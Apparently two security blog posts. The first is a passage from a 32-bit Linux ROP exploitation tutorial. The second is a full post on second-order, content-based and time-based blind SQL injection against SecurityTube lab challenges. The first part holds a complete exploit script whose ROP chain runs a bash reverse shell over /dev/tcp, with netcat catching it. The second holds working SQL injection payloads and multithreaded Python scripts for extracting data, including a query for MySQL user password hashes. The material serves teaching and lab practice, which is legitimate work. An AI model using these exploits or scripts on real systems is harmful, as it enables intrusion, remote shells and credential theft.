 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the distance to the end of the payload

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xc6\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write 0 to the end of the data

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the distance to 0xbbbbbbbb

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to 0xbbbbbbbb
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of 0xbbbbbbbb)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Move address value into ecx

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xa2\xdc\x04\x08" # ecx = eax
payload += "\xee\xee\xee\xee"

############### Work out the distance to ////bin/bash string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x62\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= distance to string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of ////bin/bash string and write to pointer

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

############### Work out the distance to null termination of last string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa6\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee" # (= distance to last string termination)
payload += "\xee\xee\xee\xee"

############### Work out the address of null termination of last string

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to that address

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address to -c string termination from edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x7a\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 48) distance to -c termination
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of -c termination)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to -c termination

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Calculate the address of the last null termination

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa2\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 8) distance to last termination
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of last termination)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to last termination

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address of the -c pointer and store in edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 8) distance to -c pointer
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx (= address of -c pointer)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the -c string and write it

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x70\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 58) distance to -c string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of -c string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address of the last string pointer


payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa6\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 4) distance to last pointer
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx (= address of last pointer)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the last string and write it

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x72\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 56) distance to last string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of last string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

############### Work out the address of the nearest nulls to edx
############### and store in edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to nearest nulls
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of nearest nulls)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the /bin/bash string
############### and store in ebx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x66\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 68) distance to /bin/bash string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of /bin/bash string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Calculate 11 into eax and initialize syscall

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xf4\xff\xff\x81" # (0x81ffffe9 + 11) 11 = execve syscall number

payload += "\xcc\xa1\x0a\x08" # eax -= 0x81ffffe9

payload += "\x0d\x8c\x04\x08" # int 0x80

##################### DATA #####################

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

Firstly we need to start netcat listening on port 8000 to catch the reverse shell:

1
[email protected]:~$ nc -l -p 8000

Now we should launch the vulnerable application (notice I'm using a different user to make it more obvious when the exploit works):

1
[email protected]:~$ ./app-net

Lastly we need to launch the exploit and watch the terminal that we are running netcat in:

1
[email protected]:~$ python app-net-rop-exploit.py

Now looking at the terminal with netcat running and test by running some commands:

1
2
3
4
5
6
7
8
9
[email protected]:/home/appuser$ pwd
pwd
/home/appuser
[email protected]:/home/appuser$ whoami
whoami
appuser
[email protected]:/home/appuser$ ls app-net
ls app-net
app-net

PWNED!!! :-D

Conclusion

It's important to realise that this exploit will not work against any other application, and might not even work with the same application run in a different environment (ie. on a different kernel version) or compiled with a different compiler or compiler version.

This is why it's so important to get as much information about the target environment as possible before developing an exploit for it.

That said, if you have understood this post you should now be able to develop a ROP exploit for any application on a 32 bit Linux system and beat both ASLR and NX, you just have to use the methodology we used here.

A bit of creativity needs to be used to create 1 of these exploits.

Happy Hacking :–)

Further Reading

I've not actually read anything relevant to ROP exploitation just simple explainations for how it works.

SQL Injections

2 December 2014 at 15:14
By: 0xe7

Here I will demonstrate how to detect different SQL injection vulnerabilities and how to perform a few different SQL injection types using applications that are vulnerable to a second order SQL injection and 2 different blind SQL injection attacks.

The first I will look at is the second order SQL injection. A second order SQL injection happens when a user input is stored in the database but then later that input is retrieved and used in a different SQL query, its this second SQL query that is vulnerable to SQL injection.

Second Order SQL Injection

The application I will be testing is a challenge at securitytube's SQLi labs, challenge 13, here is challenge from the documentation:

As you can see we are told very little about the application and there are no rules, we just have to find the admin password and login as the admin.

Detection

First we have to look at the application by using it. When we visit the URL in the challenge we get:

By filling out the form and clicking the register me! button we get:

It looks like there is a login page too:

After logging in with the account we have just created we see the following:

So let's try using the classic single quote (') technique to see if anything different happens:

As you can see nothing different about the user account creation process, let's login with this new account:

You can see that the email address is no longer given. We can guess that the username is used in another query to retreive the email address after login and then presented to the user.

Confirmation

Now that we have a suspected SQL injection we need to confirm that it is infact an SQL injection vulnerability.

1 way to do this is by sending a syntactically correct query which is functionally the same as 1 which we know the result of.

To do this we need to guess the query being run, from what we know so far we can guess that the query is something like:

1
SELECT * FROM users WHERE username='[injection point]'

We also know a good username (foobar) and the resulting email address ([email protected]).

For the known good username the query would look something like:

1
SELECT * FROM users WHERE username='foobar'

We can inject foo' 'bar as the username and it would be functionally the same and should result in the same email address being returned.

So the resulting query would look something like:

1
SELECT * FROM users WHERE username='foo' 'bar'

The above will work for MySQL databases but not MSSQL, Oracle or others so this is 1 way we can determine the database software that is in use.

If this doesn't work we could try putting a + inbetween the 2 strings for MSSQL or || for Oracle.

If we also make sure that the email address is different ([email protected]):

We will know if the injection has worked based on the value of the email address that we get back once we log in:

So it worked! Instead of getting back the email address that we registered with we got back the email address of the other account (foobar).

This means that there is almost definitely an exploitable SQL injection vulnerability and it also means we are very likely communicating with a MySQL database.

Exploitation

For exploitation here we are probably need to use a UNION based injection.

The UNION statement allows us to combine the result set of 2 or more SELECT statements.

However, before we can concentrate on exploitation we need to know the number of columns returned in the original query.

1 way we can figure this out by using the ORDER BY keyword.

First we order by 1, this will sort by the first column, so we inject foobar' order by 1 --:

That worked because we received the email address meaning that there is at least 1 column returned, notice that we appended -- after the injection to comment out the rest of the query (the remaining single quote '), so the full query would look something like this:

1
SELECT * FROM users WHERE username='foobar' order by 1 -- '

Now we try ordering by 2 (or the second column):

Here we received no email address meaning that the original query is only returning 1 column, so the query probably looks more like this:

1
SELECT email FROM users WHERE username='foobar' order by 2 -- '

Now that we know the number of columns we can concentrate on the exploitation.

There is 1 more thing we need to do before inserting our UNION statement because the application will probably only return 1 entry from the result set, but we can test this by injecting something that will return more than 1 result:

So it only returned the email address meaning that only the first result is output to the page.

We can fix this by invalidating the first statement by inserting an always false statement after an AND and then inserting our UNION statement after that.

The resulting query will look something like this:

1
SELECT email FROM users WHERE username='foobar' AND 1=0 UNION SELECT CONCAT(@@version,' | ',database(),' | ',current_user()) -- '

Here I am concatenating the output of @@version (which displays the version of the server software), database() (which displays the name of the current database) and current_user() (which displays the current user that the web server is logged into the database):

So the name of the database is 2ndorder, we need this information to solve the challenge.

Concatenation is needed because we only have 1 field where we can return data, but you will see that, even though we only have 1 field, we can use this to return a large amount of data.

We will now use the information found in the previous query to learn the schema of the database.

We will use the information_schema database to find the schema and GROUP_CONCAT to concatenate the rows together:

As you can see, we now have the names of every table and every column in the 2ndorder database.

Now its trivial to get the admin password:

And finally logging in as admin to complete the challenge:

Content-based Blind SQL Injection

The second injection I will demonstrate is a content-based blind SQL injection.

A blind SQL injection is an SQL injection but where the result of the queries aren't output to the page.

What makes it content-based is that the page can be controlled in some manner.

For this I will be looking at challenge 5:

I will not solve the whole of this challenge here but get to a point where its trivial to solve it.

Detection

So we start like normal and use the application, here is the page you see when you load the website:

If we click Submit we get this:

So it looks like it tells us whether or not there were results returned by the query that runs in the background.

As normal we should add a single quote (') to see if we get a reaction:

Confirmation

So the job_title field might be vulnerable to SQL injection but we can try to confirm this using string concatenation, as we did before:

So we got the same result as the original query which strongly suggests that we have an SQL injection here.

Exploitation

This is pretty easy to exploit but we need to use a conditional statement.

We could use CASE but in this case we'll use IF.

This exploit could be made more efficient but I'll demonstrate that in the next example.

For now we'll determine the result byte-by-byte in a sequential manner.

First let's guess at what the actual query looks like:

1
SELECT * from employees where job_title='[injection point]'

What we want to do, based on our findings, is search through a string character by character and normally return no results but if we find the right character then return results.

We can use SUBSTR to search through a string, so if we create a query similar to this:

1
SELECT * from employees where job_title='Project Manager' AND IF((SUBSTR(current_user(), [i], 1)='[c]'),1,0) -- '

This checks the character at position i from the string returned by current_user() against the character c, if they are equal, it returns 1, making the query true and returning results, otherwise it returns 0, making the query false and not returning any results.

This way we will get a different page if the character c is correct than we will if the character is incorrect.

I've found that we can run into problems when we do it this way, the solution is to convert the character into its ascii decimal equivalent using the ASCII function and compare that with a number.

So it ends up like this:

1
SELECT * from employees where job_title='Project Manager' AND IF((ASCII(SUBSTR(current_user(), [i], 1))=[c]),1,0) -- '

Where i is the position as before but c is a numerical representation of a character that we are testing for.

Once we find the right value for c, we increment i and start again, until we've iterated through our whole character set and not found a match which means we've reached the end of the string.

So if the character matches, the page will return results otherwise it will not.

Using this information it is trivial to write a script that uses this technique to find out the current user of the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python

import urllib2, string, sys

max = 20

baseurl = "http://192.168.2.11/sqli/sql5/search.php?job_title=Project+Manager%27+and+if%28%28ascii%28substr%28current_user%28%29,"

l = list(string.printable)

try:
    basehtml = urllib2.urlopen("http://192.168.2.11/sqli/sql5/search.php?job_title=%27").read()
except:
    print "dead"
    sys.exit(-1)

for i in range(max):
    newurl = baseurl + str(i+1) + ",1%29%29="
    found = False
    for c in l:
        url = newurl + str(ord(c)) + "%29,1,0%29+--+"
        try:
            html = urllib2.urlopen(url).read()
            if basehtml != html:
                sys.stdout.write(c)
                found = True
                break
        except:
            pass
    if not found:
        break

print ''

You can use this to retrieve any data from the database by just changing current_user() to the query that returns the data that you want, for instance:

1
(select group_concat(concat(User, ' : ', Password) separator ' | ') from mysql.users)

But bare in mind the more data you try to retrieve, the longer it will take.

Time-based Blind SQL Injection

Lastly I want to demonstrate a time-based injection.

A time-based injection is where the attacker injects a time delay into the query based on a condition and determines the result of the condition based on the time is took for the page to return.

For this I will use challenge 10:

This challenge can also be completed using a content-based approach but I will ignore that and use purely a time-based approach.

A time-based attack generally works where others might fail but it takes the longest so depending on the amount of data you want to retrieve, it might not be viable.

1 advantage of a time-based attack rather than the content-based attack that we performed in the last demonstration is that the time-based approach doesn't generate database errors, meaning it has less chance of being noticed.

Detection

So let's first look at the application:

So it looks like some sort of sorting page. We seem to have 3 options (Id, First Name and Surname).

Clicking the Submit Query button gives us:

So its sorted the returned values by the Id field, but this request was a post request so to look at the request properly we need another piece of software.

Anytime I am analysing a web application, I always have my browser setup to go through Burp Suite.

Burp Suite is an intercepting proxy which has a huge number of features and IMO is an absolute must when doing any web hacking.

Looking at the request in Burp, we see:

We can guess that the query that is being run in the background is something like:

1
SELECT id, first_name, last_name FROM employees ORDER BY [injection point]

The actual application gives us different results depending on our input, we have 1 result for each field (id, first_name and last_name) and 1 result for an error (the following page was generated by inserting a single quote (') in the sort_results field):

So we could actually test for 4 different possibilities with a single request, to do this we could inject the following conditional statement:

1
2
3
4
5
case when ascii(substr(current_user(),1,1))=100 then Id
when ascii(substr(current_user(),1,1))=101 then first_name
when ascii(substr(current_user(),1,1))=102 then last_name
else (select table_name from information_schema.columns where
table_name = (select table_name from information_schema.columns)) end

Here we are checking the first character for current_user() against 100 (d), 101 (e) and 102 (f).

If it is a d then the results will be sorted by the Id field, if it is a e they will be sorted by the first_name field, if it is a f they will be sorted by the last_name field and if it isn't any of those 3 then the query will fail and we will get the same page as when we entered the single quote.

But we are going to ignore this and imagine that the application never returns anything, just some generic page.

If this was the case the only option we have is time-based.

To test this all we have to do in this situation is inject sleep(5), if the application is vulnerable the page will take longer to return.

In other situations we might need to try injecting + sleep(5), ' + sleep(5) --, ' + sleep(5) + ', ' union select sleep(5) --, ' union select null, sleep(5)# and so on...

But this application does delay with the simple sleep(5) injected.

Exploitation

Now we can use the information we have already to inject a conditional statement that only delays when we've found the correct character of a string.

Our injection will look something like this:

1
case when ascii(substr(current_user(), 1, 1))=100 then sleep(5) else 0 end

Or:

1
if(ascii(substr(current_user(), 1, 1))=100,sleep(5),0)

Both will work fine.

This time because we are using a time-based approach we want to try to speed things up by writing a script which has the ability to make multiple requests at once.

We can do this using multithreading and in python using the threading module.

I will use Queue for submitting the jobs to the threads and a list for getting the responses.

Here is the script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python

import threading, urllib2, timeit, Queue, sys

if len(sys.argv) > 1:
    max = int(sys.argv[1])
else:
    max = 256

if len(sys.argv) > 2:
    t = int(sys.argv[2])
else:
    t = 3

if max % 2 != 0:
    print "Error: %d not divisible by 2" % max

class getLength(threading.Thread):
    def __init__(self, inq, out):
        threading.Thread.__init__(self)
        self.inq = inq
        self.out = out
        self.query = "current_user%28%29%"

    def run(self):
        while True:
            try:
                bit = self.inq.get(False)
            except Queue.Empty:
                return

            data = "sort_results=if%28length%28" + self.query + "%29+%26+"+str(bit)+"="+str(bit)+",sleep%283%29,0%29"
            url = "http://192.168.2.11/sqli/sql8/index.php"
            t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
            if t.timeit(number=1)>3.0:
                self.out.append(bit)
            self.inq.task_done()

class getCharacter(threading.Thread):
    def __init__(self, inq, out):
        threading.Thread.__init__(self)
        self.inq = inq
        self.out = out
        self.query = "current_user%28%29%"

    def run(self):
        url = "http://192.168.2.11/sqli/sql8/index.php"
        while True:
            max = 256
            mid = 127
            min = 1
            try:
                cpos = self.inq.get(False)
            except Queue.Empty:
                return

            while min != max - 1:
                data = "sort_results=if%28ascii%28substr%28" + self.query + ","+str(cpos+1)+",1%29%29+>+"+str(mid)+",sleep%283%29,0%29"
                t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
                if t.timeit(number=1)>3.0:
                    min = mid + 1
                    mid = min + ((max - min) / 2)
                else:
                    max = mid
                    mid = min + ((max - min) / 2)
            data = "sort_results=if%28ascii%28substr%28" + self.query + ","+str(cpos+1)+",1%29%29+>+"+str(min)+",sleep%283%29,0%29"
            t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
            if t.timeit(number=1)>3.0:
                self.out.append((cpos, chr(max)))
            else:
                self.out.append((cpos, chr(min)))
            self.inq.task_done()

inq = Queue.Queue()
out = []

nin = max
while nin > 1:
    nin /= 2
    inq.put(nin)

threads = []

for i in range(t):
    thread = getLength(inq, out)
    thread.setDaemon(True)
    thread.start()
    threads.append(thread)

inq.join()

for thread in threads:
    thread.join()

length = 0
for i in out:
    length += i

print "The length is " + str(length)

for i in range(length):
    inq.put(i)

out = []

for i in range(t):
    thread = getCharacter(inq, out)
    thread.setDaemon(True)
    thread.start()

inq.join()

s = ''.join([b for a, b in sorted(out, key=lambda t: t[0])])
print s

So firstly, lines 5-8, I set the maximum length of the string that we are looking for, by default its 256 but can be changed by the first argument and should always be a multiple of 2.

Then, lines 10-13, I set the number of threads, by default its 3 because this is the limit that the Secritytube SQLi challenges allow but can be changed by the second argument.

I then create 2 classes that inherit from threading.Thread which allows then to be multithreaded.

The first of these classes, as the name suggests, gets the length of the string resulting from the query that we want to run.

The second, as the name also suggests, gets the characters.

First I launch a bunch of threads to find out the length of the string, and wait until they are finished.

Then I launch a bunch of threads to find out the value of each character.

I'm using 2 different methods of concurrency here, mainly to demonstrate both methods.

Bit-For-Bit Method

The first, to find the length, is a bit-for-bit check, basically I'm checking whether each bit in the result is a 1 or a 0.

To understand this you need to picture the numbers in their binary representation, so let's take the value 73.

So our string is 73 characters long, which means if I run the query length([query]), it returns 73.

The binary representation of 73 is 01001001 using 8 bits.

Each bits value is 2^n, where n is the position of the bit minus 1 starting at the rightmost position.

So the first bit is a 1, its value is 2^0 or 1, the second bit is a 0 its value is 2^1 or 2, but because it is 0 we can ignore it.

If we continue this the bits with a 1 have the values, 1, 8 and 64, if we add these together we get 1+8+64=73.

So you can see how we can get the length of the string of less than 256 characters in no more than 8 requests.

The next question is how do we test if a certain bit is 1 or 0, the answer is bitwise operators.

Here I am using the AND or & operator, which returns a result where only bits in both operands where a 1.

Let's look at our example again, if we do 73 & 1 we get 1, if we do 73 & 2 we get 0 because the bit that represents 2 is not a 1 in 73.

Using this method our conditional query becomes length([query]) & [bit we are testing for] = [bit we are testing for].

This way we can, in theory, test for each bit position in parallel.

Obviously instead of returning 1 if the condition is true we will sleep for 3 seconds and check the response time.

Binary Search Method

The second check, to find out the actual characters, I am using a binary search.

Basically a binary search works by finding the middle of the search range and asking if its greater than that, efeectively narrowing the search by half every request, until the correct value has been found.

Let's take the same example as the example we looked at for the bit-for-bit method, so the value is 73.

The maximum value for 1 byte of data is always 255, so there are 256 possible values.

First we'll ask if 73 > 127, which the answer is no, so the max becomes 127, and the middle becomes min + ((max - min) / 2) or 1 + ((127 - 1) / 2) or 1 + (126 / 2) or 1 + 63 or 64.

Then we go again and ask if 73 > 64, the answer is yes, so the min becomes 65 and the mid becomes min + ((max - min) / 2) or 65 + ((127 - 65) / 2) or 65 + (62 / 2) or 65 + 31 or 96.

We can represent this type of comparison in our injection condition like this:

ascii(substr([query],[position we are testing],1))>[current mid value]

This continues until we find the correct value which takes 8 requests with a 32 bit value (up to 255).

Using this and substituting current_user%28%29 with any query that we want the output of we can enumerate anything in the database that the current user has permissions to view.

Because we know the number of characters we can do multiple characters in parallel.

Conclusion

You should now have a very good idea of how to look for and exploit SQL injection's in a blackbox way.

Every situation will be different which is why, even though a lot of the automated SQL injection tools out there (like sqlmap) are good in a lot of situations, you still need to understand how to do it all manually for when the tools fail.

Being able to script SQL injection tools is a necessity when dealing with blind SQL injections, trying to enumerate even small amounts of data when you only have the ability to extract 1 bit at a time would be a horrible task!

Further Reading

The best book I've read on SQL injection is Justin Clarke's SQL Injection Attacks and Defence and he goes into a lot more detail and situations than I can on this single post.

